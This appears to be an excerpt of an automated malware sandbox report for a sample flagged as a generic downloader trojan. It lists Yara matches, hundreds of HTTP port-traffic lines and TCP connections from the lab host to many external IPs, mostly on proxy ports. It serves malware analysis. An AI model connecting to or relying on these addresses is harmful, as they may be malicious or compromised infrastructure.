Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51273 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 32650
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 54368
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 64947
Source: unknown	Network traffic detected: HTTP traffic on port 50888 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51320 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51326 -> 2019
Source: unknown	Network traffic detected: HTTP traffic on port 51113 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50884 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50808
Source: unknown	Network traffic detected: HTTP traffic on port 50823 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 19072 -> 51359
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50886 -> 6049
Source: unknown	Network traffic detected: HTTP traffic on port 51405 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50949 -> 28106
Source: unknown	Network traffic detected: HTTP traffic on port 51111 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51449 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51439 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50919 -> 34405
Source: unknown	Network traffic detected: HTTP traffic on port 51358 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 51227 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 50928 -> 18936
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 6539
Source: unknown	Network traffic detected: HTTP traffic on port 51409 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 46451
Source: unknown	Network traffic detected: HTTP traffic on port 51393 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51175
Source: unknown	Network traffic detected: HTTP traffic on port 51474 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51435 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51199 -> 31633
Source: unknown	Network traffic detected: HTTP traffic on port 51487 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51485 -> 2692
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 7757
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 51506 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51510 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51509 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 51497 -> 40186
Source: unknown	Network traffic detected: HTTP traffic on port 8118 -> 51449
Source: unknown	Network traffic detected: HTTP traffic on port 51519 -> 23814
Source: unknown	Network traffic detected: HTTP traffic on port 51243 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50922 -> 1111
Source: unknown	Network traffic detected: HTTP traffic on port 51476 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 2020 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 43840 -> 51376
Source: unknown	Network traffic detected: HTTP traffic on port 51264 -> 34139
Source: unknown	Network traffic detected: HTTP traffic on port 51295 -> 41920
Source: unknown	Network traffic detected: HTTP traffic on port 51513 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50953 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 51498 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51081 -> 60404
Source: unknown	Network traffic detected: HTTP traffic on port 51296 -> 30007
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 64052
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 29603
Source: unknown	Network traffic detected: HTTP traffic on port 51560 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 51489 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51461 -> 15758
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51506
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51003 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 2019 -> 51326
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 51516 -> 50
Source: unknown	Network traffic detected: HTTP traffic on port 32650 -> 50698
Source: unknown	Network traffic detected: HTTP traffic on port 51508 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 46523
Source: unknown	Network traffic detected: HTTP traffic on port 50971 -> 32988
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 51566 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51533 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51344 -> 33190
Source: unknown	Network traffic detected: HTTP traffic on port 50759 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51233 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51569 -> 59778
Source: unknown	Network traffic detected: HTTP traffic on port 51577 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51531 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 6539
Source: unknown	Network traffic detected: HTTP traffic on port 51551 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51595 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 44957
Source: unknown	Network traffic detected: HTTP traffic on port 51597 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51600 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51129 -> 46164
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 37106
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 21681
Source: unknown	Network traffic detected: HTTP traffic on port 50717 -> 35618
Source: unknown	Network traffic detected: HTTP traffic on port 51572 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 51632 -> 42147
Source: unknown	Network traffic detected: HTTP traffic on port 51571 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 46451
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 9251
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51393
Source: unknown	Network traffic detected: HTTP traffic on port 51199 -> 31633
Source: unknown	Network traffic detected: HTTP traffic on port 40186 -> 51497
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51120 -> 49382
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 12000
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51533
Source: unknown	Network traffic detected: HTTP traffic on port 51588 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 51677 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51576 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51606 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 51645 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 51505 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51219 -> 58977
Source: unknown	Network traffic detected: HTTP traffic on port 51603 -> 15599
Source: unknown	Network traffic detected: HTTP traffic on port 8118 -> 51538
Source: unknown	Network traffic detected: HTTP traffic on port 51519 -> 23814
Source: unknown	Network traffic detected: HTTP traffic on port 51017 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 64052
Source: unknown	Network traffic detected: HTTP traffic on port 51113 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 7757
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 51526
Source: unknown	Network traffic detected: HTTP traffic on port 51643 -> 4006
Source: unknown	Network traffic detected: HTTP traffic on port 51215 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51697 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51243 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51683 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51659 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51253 -> 36702
Source: unknown	Network traffic detected: HTTP traffic on port 51672 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 51734 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 51572
Source: unknown	Network traffic detected: HTTP traffic on port 51740 -> 60870
Source: unknown	Network traffic detected: HTTP traffic on port 51673 -> 2020
Source: unknown	Network traffic detected: HTTP traffic on port 51379 -> 56560
Source: unknown	Network traffic detected: HTTP traffic on port 51686 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 15084
Source: unknown	Network traffic detected: HTTP traffic on port 51358 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 51752 -> 46164
Source: unknown	Network traffic detected: HTTP traffic on port 51753 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 51754 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51669 -> 10800
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 48606
Source: unknown	Network traffic detected: HTTP traffic on port 51665 -> 61700
Source: unknown	Network traffic detected: HTTP traffic on port 51757 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 6539
Source: unknown	Network traffic detected: HTTP traffic on port 30007 -> 51296
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 11 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 51801 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 30026
Source: unknown	Network traffic detected: HTTP traffic on port 51732 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51632 -> 42147
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 51227
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 51569 -> 59778
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 53882
Source: unknown	Network traffic detected: HTTP traffic on port 50769 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 46451
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51290 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51355 -> 25859
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 8879
Source: unknown	Network traffic detected: HTTP traffic on port 51813 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 20283
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 51505
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51843 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51830 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51845 -> 40280
Source: unknown	Network traffic detected: HTTP traffic on port 4006 -> 51643
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 15777
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 65100
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 51461 -> 15758
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 56755
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 51686
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51800 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51496 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51824 -> 8118

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, type: UNPACKEDPE

Source: unknown

Network traffic detected: IP country count 37

Source: global traffic	TCP traffic: 192.168.2.8:49710 -> 177.36.13.65:5678
Source: global traffic	TCP traffic: 192.168.2.8:49711 -> 72.210.208.101:4145
Source: global traffic	TCP traffic: 192.168.2.8:49712 -> 178.207.11.148:3129
Source: global traffic	TCP traffic: 192.168.2.8:49713 -> 117.57.93.170:8089
Source: global traffic	TCP traffic: 192.168.2.8:49714 -> 195.138.73.54:44017
Source: global traffic	TCP traffic: 192.168.2.8:49716 -> 146.56.101.184:21681
Source: global traffic	TCP traffic: 192.168.2.8:49717 -> 134.122.43.203:56442
Source: global traffic	TCP traffic: 192.168.2.8:49719 -> 194.233.78.142:41119
Source: global traffic	TCP traffic: 192.168.2.8:49720 -> 157.100.6.202:999
Source: global traffic	TCP traffic: 192.168.2.8:49721 -> 176.236.124.252:10001
Source: global traffic	TCP traffic: 192.168.2.8:49723 -> 115.96.208.124:8080
Source: global traffic	TCP traffic: 192.168.2.8:49724 -> 94.40.127.166:4145
Source: global traffic	TCP traffic: 192.168.2.8:49725 -> 94.153.252.170:8080
Source: global traffic	TCP traffic: 192.168.2.8:49726 -> 201.77.108.64:999
Source: global traffic	TCP traffic: 192.168.2.8:49727 -> 103.83.178.42:8181
Source: global traffic	TCP traffic: 192.168.2.8:49728 -> 187.190.49.166:999
Source: global traffic	TCP traffic: 192.168.2.8:49729 -> 103.78.25.99:3128
Source: global traffic	TCP traffic: 192.168.2.8:49730 -> 196.20.125.129:8083
Source: global traffic	TCP traffic: 192.168.2.8:49731 -> 20.118.133.34:3128
Source: global traffic	TCP traffic: 192.168.2.8:49732 -> 128.127.94.160:5678
Source: global traffic	TCP traffic: 192.168.2.8:49733 -> 188.164.196.31:49426
Source: global traffic	TCP traffic: 192.168.2.8:49734 -> 8.213.129.15:50
Source: global traffic	TCP traffic: 192.168.2.8:49735 -> 122.52.196.36:8080
Source: global traffic	TCP traffic: 192.168.2.8:49736 -> 37.32.15.125:6888
Source: global traffic	TCP traffic: 192.168.2.8:49737 -> 92.246.139.106:11432
Source: global traffic	TCP traffic: 192.168.2.8:49738 -> 190.109.178.44:999
Source: global traffic	TCP traffic: 192.168.2.8:49739 -> 137.59.48.20:8080
Source: global traffic	TCP traffic: 192.168.2.8:49740 -> 79.132.192.13:3128
Source: global traffic	TCP traffic: 192.168.2.8:49742 -> 91.189.237.78:8080
Source: global traffic	TCP traffic: 192.168.2.8:49743 -> 82.135.123.155:8080
Source: global traffic	TCP traffic: 192.168.2.8:49745 -> 202.165.47.90:55443
Source: global traffic	TCP traffic: 192.168.2.8:49746 -> 104.248.151.220:60915
Source: global traffic	TCP traffic: 192.168.2.8:49749 -> 188.132.222.7:8080
Source: global traffic	TCP traffic: 192.168.2.8:49750 -> 88.132.205.84:8080
Source: global traffic	TCP traffic: 192.168.2.8:49751 -> 148.72.212.212:3786
Source: global traffic	TCP traffic: 192.168.2.8:49752 -> 202.146.228.254:8088
Source: global traffic	TCP traffic: 192.168.2.8:49753 -> 167.172.159.43:13988
Source: global traffic	TCP traffic: 192.168.2.8:49754 -> 46.209.207.150:8080
Source: global traffic	TCP traffic: 192.168.2.8:49755 -> 203.85.120.69:8080
Source: global traffic	TCP traffic: 192.168.2.8:49756 -> 198.12.253.1:37106
Source: global traffic	TCP traffic: 192.168.2.8:49757 -> 72.10.164.178:29075
Source: global traffic	TCP traffic: 192.168.2.8:49758 -> 196.202.210.73:32650
Source: global traffic	TCP traffic: 192.168.2.8:49759 -> 128.199.104.190:41354
Source: global traffic	TCP traffic: 192.168.2.8:49760 -> 81.44.83.70:8080
Source: global traffic	TCP traffic: 192.168.2.8:49761 -> 68.1.210.189:4145
Source: global traffic	TCP traffic: 192.168.2.8:49762 -> 51.91.13.215:55637
Source: global traffic	TCP traffic: 192.168.2.8:49763 -> 47.74.152.29:8888
Source: global traffic	TCP traffic: 192.168.2.8:49764 -> 134.209.29.120:3128
Source: global traffic	TCP traffic: 192.168.2.8:49766 -> 5.201.140.196:1080
Source: global traffic	TCP traffic: 192.168.2.8:49768 -> 178.128.82.105:53299
Source: global traffic	TCP traffic: 192.168.2.8:49769 -> 189.90.255.208:3128
Source: global traffic	TCP traffic: 192.168.2.8:49770 -> 84.17.51.235:3128
Source: global traffic	TCP traffic: 192.168.2.8:49771 -> 103.158.253.187:8090
Source: global traffic	TCP traffic: 192.168.2.8:49773 -> 200.39.139.65:999
Source: global traffic	TCP traffic: 192.168.2.8:49774 -> 186.103.130.94:8080
Source: global traffic	TCP traffic: 192.168.2.8:49775 -> 34.29.41.58:3128
Source: global traffic	TCP traffic: 192.168.2.8:49776 -> 193.107.104.57:3128
Source: global traffic	TCP traffic: 192.168.2.8:49777 -> 167.86.69.142:37172
Source: global traffic	TCP traffic: 192.168.2.8:49778 -> 156.67.172.185:3128
Source: global traffic	TCP traffic: 192.168.2.8:49782 -> 116.130.233.22:3129
Source: global traffic	TCP traffic: 192.168.2.8:49783 -> 23.225.72.125:3503
Source: global traffic	TCP traffic: 192.168.2.8:49784 -> 185.110.190.141:8080
Source: global traffic	TCP traffic: 192.168.2.8:49785 -> 103.140.35.11:4145
Source: global traffic	TCP traffic: 192.168.2.8:49787 -> 202.78.160.118:1080
Source: global traffic	TCP traffic: 192.168.2.8:49788 -> 15.235.187.227:62640
Source: global traffic	TCP traffic: 192.168.2.8:49789 -> 194.163.129.179:51212
Source: global traffic	TCP traffic: 192.168.2.8:49790 -> 120.28.139.143:8082
Source: global traffic	TCP traffic: 192.168.2.8:49791 -> 60.188.102.225:18080
Source: global traffic	TCP traffic: 192.168.2.8:49794 -> 85.238.74.91:8080
Source: global traffic	TCP traffic: 192.168.2.8:49796 -> 103.28.86.241:57230
Source: global traffic	TCP traffic: 192.168.2.8:49797 -> 213.136.78.200:40927
Source: global traffic	TCP traffic: 192.168.2.8:49798 -> 51.158.105.107:16379
Source: global traffic	TCP traffic: 192.168.2.8:49799 -> 216.10.242.18:3409
Source: global traffic	TCP traffic: 192.168.2.8:49800 -> 125.87.86.119:8089
Source: global traffic	TCP traffic: 192.168.2.8:49802 -> 5.9.98.142:3080
Source: global traffic	TCP traffic: 192.168.2.8:49803 -> 92.205.105.134:63718
Source: global traffic	TCP traffic: 192.168.2.8:49804 -> 103.94.133.93:4153
Source: global traffic	TCP traffic: 192.168.2.8:49806 -> 217.182.153.29:12000
Source: global traffic	TCP traffic: 192.168.2.8:49808 -> 31.200.242.201:12196
Source: global traffic	TCP traffic: 192.168.2.8:49809 -> 165.16.27.109:1981
Source: global traffic	TCP traffic: 192.168.2.8:49810 -> 202.137.144.228:8080
Source: global traffic	TCP traffic: 192.168.2.8:49811 -> 51.210.45.148:3865
Source: global traffic	TCP traffic: 192.168.2.8:49812 -> 103.78.54.10:4153
Source: global traffic	TCP traffic: 192.168.2.8:49813 -> 50.63.12.33:34644
Source: global traffic	TCP traffic: 192.168.2.8:49814 -> 117.20.56.203:4145
Source: global traffic	TCP traffic: 192.168.2.8:49815 -> 104.248.158.78:61725
Source: global traffic	TCP traffic: 192.168.2.8:49817 -> 66.29.128.244:42560
Source: global traffic	TCP traffic: 192.168.2.8:49818 -> 182.52.83.112:4145
Source: global traffic	TCP traffic: 192.168.2.8:49819 -> 91.134.140.160:49042
Source: global traffic	TCP traffic: 192.168.2.8:49820 -> 45.11.95.165:5022
Source: global traffic	TCP traffic: 192.168.2.8:49821 -> 75.119.145.169:48057
Source: global traffic	TCP traffic: 192.168.2.8:49822 -> 132.145.61.202:3128
Source: global traffic	TCP traffic: 192.168.2.8:49823 -> 96.36.50.99:39593
Source: global traffic	TCP traffic: 192.168.2.8:49824 -> 35.199.90.225:8888
Source: global traffic	TCP traffic: 192.168.2.8:49825 -> 1.224.3.122:3889
Source: global traffic	TCP traffic: 192.168.2.8:49826 -> 162.210.192.136:26719
Source: global traffic	TCP traffic: 192.168.2.8:49827 -> 83.149.249.81:3128
Source: global traffic	TCP traffic: 192.168.2.8:49829 -> 177.8.170.122:1080
Source: global traffic	TCP traffic: 192.168.2.8:49830 -> 183.89.14.229:8080
Source: global traffic	TCP traffic: 192.168.2.8:49831 -> 103.217.249.129:5678
Source: global traffic	TCP traffic: 192.168.2.8:49832 -> 146.190.84.209:62842
Source: global traffic	TCP traffic: 192.168.2.8:49833 -> 92.204.136.149:17270
Source: global traffic	TCP traffic: 192.168.2.8:49834 -> 145.239.2.102:62181
Source: global traffic	TCP traffic: 192.168.2.8:49835 -> 208.87.131.151:25369
Source: global traffic	TCP traffic: 192.168.2.8:49836 -> 147.45.40.89:34006
Source: global traffic	TCP traffic: 192.168.2.8:49837 -> 103.1.50.51:3125
Source: global traffic	TCP traffic: 192.168.2.8:49838 -> 103.143.8.126:8089
Source: global traffic	TCP traffic: 192.168.2.8:49839 -> 159.65.217.197:8000
Source: global traffic	TCP traffic: 192.168.2.8:49841 -> 84.17.35.129:3128
Source: global traffic	TCP traffic: 192.168.2.8:49842 -> 132.148.129.254:60781
Source: global traffic	TCP traffic: 192.168.2.8:49843 -> 51.15.125.244:3128
Source: global traffic	TCP traffic: 192.168.2.8:49844 -> 107.178.9.186:8080
Source: global traffic	TCP traffic: 192.168.2.8:49846 -> 103.239.253.66:8080
Source: global traffic	TCP traffic: 192.168.2.8:49845 -> 103.147.246.131:8080
Source: global traffic	TCP traffic: 192.168.2.8:49847 -> 103.188.168.66:8080
Source: global traffic	TCP traffic: 192.168.2.8:49851 -> 193.239.86.247:3128
Source: global traffic	TCP traffic: 192.168.2.8:49852 -> 45.185.236.254:1080
Source: global traffic	TCP traffic: 192.168.2.8:49853 -> 67.43.227.227:14681
Source: global traffic	TCP traffic: 192.168.2.8:49854 -> 197.234.13.5:4145
Source: global traffic	TCP traffic: 192.168.2.8:49855 -> 154.236.179.229:1981
Source: global traffic	TCP traffic: 192.168.2.8:49861 -> 103.113.71.230:3128
Source: global traffic	TCP traffic: 192.168.2.8:49863 -> 176.98.81.85:8080
Source: global traffic	TCP traffic: 192.168.2.8:49867 -> 185.189.199.75:23500
Source: global traffic	TCP traffic: 192.168.2.8:49868 -> 138.68.60.8:3128
Source: global traffic	TCP traffic: 192.168.2.8:49869 -> 167.172.109.12:46249
Source: global traffic	TCP traffic: 192.168.2.8:49872 -> 177.229.210.50:8080
Source: global traffic	TCP traffic: 192.168.2.8:49873 -> 148.72.23.56:36111
Source: global traffic	TCP traffic: 192.168.2.8:49875 -> 217.196.21.170:5678
Source: global traffic	TCP traffic: 192.168.2.8:49877 -> 188.164.193.178:60484
Source: global traffic	TCP traffic: 192.168.2.8:49878 -> 181.209.82.154:23500
Source: global traffic	TCP traffic: 192.168.2.8:49879 -> 1.1.104.70:9999
Source: global traffic	TCP traffic: 192.168.2.8:49881 -> 123.182.58.64:8089
Source: global traffic	TCP traffic: 192.168.2.8:49882 -> 155.50.208.37:3128
Source: global traffic	TCP traffic: 192.168.2.8:49883 -> 101.231.64.89:8443
Source: global traffic	TCP traffic: 192.168.2.8:49884 -> 41.57.25.129:6060
Source: global traffic	TCP traffic: 192.168.2.8:49885 -> 185.157.47.236:1080
Source: global traffic	TCP traffic: 192.168.2.8:49887 -> 98.188.47.132:4145
Source: global traffic	TCP traffic: 192.168.2.8:49888 -> 148.66.130.53:12005
Source: global traffic	TCP traffic: 192.168.2.8:49889 -> 93.90.212.2:4153
Source: global traffic	TCP traffic: 192.168.2.8:49890 -> 103.209.68.197:8080
Source: global traffic	TCP traffic: 192.168.2.8:49891 -> 160.248.184.201:3128
Source: global traffic	TCP traffic: 192.168.2.8:49896 -> 154.12.253.232:25007
Source: global traffic	TCP traffic: 192.168.2.8:49897 -> 201.182.251.140:999
Source: global traffic	TCP traffic: 192.168.2.8:49899 -> 36.95.155.74:3126
Source: global traffic	TCP traffic: 192.168.2.8:49900 -> 5.183.179.117:45698
Source: global traffic	TCP traffic: 192.168.2.8:49902 -> 176.37.21.46:41890
Source: global traffic	TCP traffic: 192.168.2.8:49903 -> 182.23.35.242:8080
Source: global traffic	TCP traffic: 192.168.2.8:49904 -> 195.30.84.218:34090
Source: global traffic	TCP traffic: 192.168.2.8:49905 -> 139.5.73.71:8080
Source: global traffic	TCP traffic: 192.168.2.8:49906 -> 41.217.220.214:32650
Source: global traffic	TCP traffic: 192.168.2.8:49907 -> 195.34.91.67:8080
Source: global traffic	TCP traffic: 192.168.2.8:49908 -> 103.13.120.116:3128
Source: global traffic	TCP traffic: 192.168.2.8:49909 -> 222.241.144.17:2080
Source: global traffic	TCP traffic: 192.168.2.8:49910 -> 1.2.221.134:4145
Source: global traffic	TCP traffic: 192.168.2.8:49911 -> 107.180.89.55:12940
Source: global traffic	TCP traffic: 192.168.2.8:49912 -> 185.18.198.253:14366
Source: global traffic	TCP traffic: 192.168.2.8:49914 -> 196.3.99.162:8080
Source: global traffic	TCP traffic: 192.168.2.8:49915 -> 194.44.36.114:6868
Source: global traffic	TCP traffic: 192.168.2.8:49916 -> 115.144.163.193:11087
Source: global traffic	TCP traffic: 192.168.2.8:49918 -> 103.121.90.216:15463
Source: global traffic	TCP traffic: 192.168.2.8:49919 -> 46.182.6.69:41041
Source: global traffic	TCP traffic: 192.168.2.8:49920 -> 103.169.130.36:8080
Source: global traffic	TCP traffic: 192.168.2.8:49921 -> 72.10.160.90:19713
Source: global traffic	TCP traffic: 192.168.2.8:49922 -> 20.219.177.85:3129
Source: global traffic	TCP traffic: 192.168.2.8:49923 -> 8.213.128.6:8889
Source: global traffic	TCP traffic: 192.168.2.8:49924 -> 209.145.56.51:6432
Source: global traffic	TCP traffic: 192.168.2.8:49927 -> 103.153.35.85:3127
Source: global traffic	TCP traffic: 192.168.2.8:49928 -> 190.112.39.241:5555
Source: global traffic	TCP traffic: 192.168.2.8:49929 -> 167.99.123.158:27237
Source: global traffic	TCP traffic: 192.168.2.8:49930 -> 190.57.245.250:8080
Source: global traffic	TCP traffic: 192.168.2.8:49931 -> 51.158.105.203:16379
Source: global traffic	TCP traffic: 192.168.2.8:49932 -> 174.75.211.222:4145
Source: global traffic	TCP traffic: 192.168.2.8:49933 -> 68.183.88.14:7497
Source: global traffic	TCP traffic: 192.168.2.8:49934 -> 107.180.101.226:51526
Source: global traffic	TCP traffic: 192.168.2.8:49936 -> 190.69.157.213:999
Source: global traffic	TCP traffic: 192.168.2.8:49937 -> 200.108.234.105:8080
Source: global traffic	TCP traffic: 192.168.2.8:49938 -> 79.137.204.161:32381
Source: global traffic	TCP traffic: 192.168.2.8:49941 -> 174.77.111.196:4145
Source: global traffic	TCP traffic: 192.168.2.8:49942 -> 99.26.234.177:5678
Source: global traffic	TCP traffic: 192.168.2.8:49944 -> 154.212.7.243:999
Source: global traffic	TCP traffic: 192.168.2.8:49945 -> 207.180.236.140:51167
Source: global traffic	TCP traffic: 192.168.2.8:49946 -> 125.25.40.41:32650
Source: global traffic	TCP traffic: 192.168.2.8:49948 -> 92.246.139.113:32244
Source: global traffic	TCP traffic: 192.168.2.8:49949 -> 45.236.36.19:8080
Source: global traffic	TCP traffic: 192.168.2.8:49950 -> 197.157.254.162:4145
Source: global traffic	TCP traffic: 192.168.2.8:49951 -> 92.204.135.37:22942
Source: global traffic	TCP traffic: 192.168.2.8:49953 -> 91.92.80.199:4145
Source: global traffic	TCP traffic: 192.168.2.8:49954 -> 221.6.139.190:9002
Source: global traffic	TCP traffic: 192.168.2.8:49957 -> 191.97.19.66:999
Source: global traffic	TCP traffic: 192.168.2.8:49958 -> 24.192.227.234:8080
Source: global traffic	TCP traffic: 192.168.2.8:49959 -> 162.240.147.48:51181
Source: global traffic	TCP traffic: 192.168.2.8:49960 -> 185.104.63.55:3128
Source: global traffic	TCP traffic: 192.168.2.8:49961 -> 173.212.237.43:44672
Source: global traffic	TCP traffic: 192.168.2.8:49962 -> 161.97.147.193:15371
Source: global traffic	TCP traffic: 192.168.2.8:49963 -> 103.178.2.72:8080
Source: global traffic	TCP traffic: 192.168.2.8:49964 -> 67.43.228.253:7491
Source: global traffic	TCP traffic: 192.168.2.8:49965 -> 182.160.127.53:48744
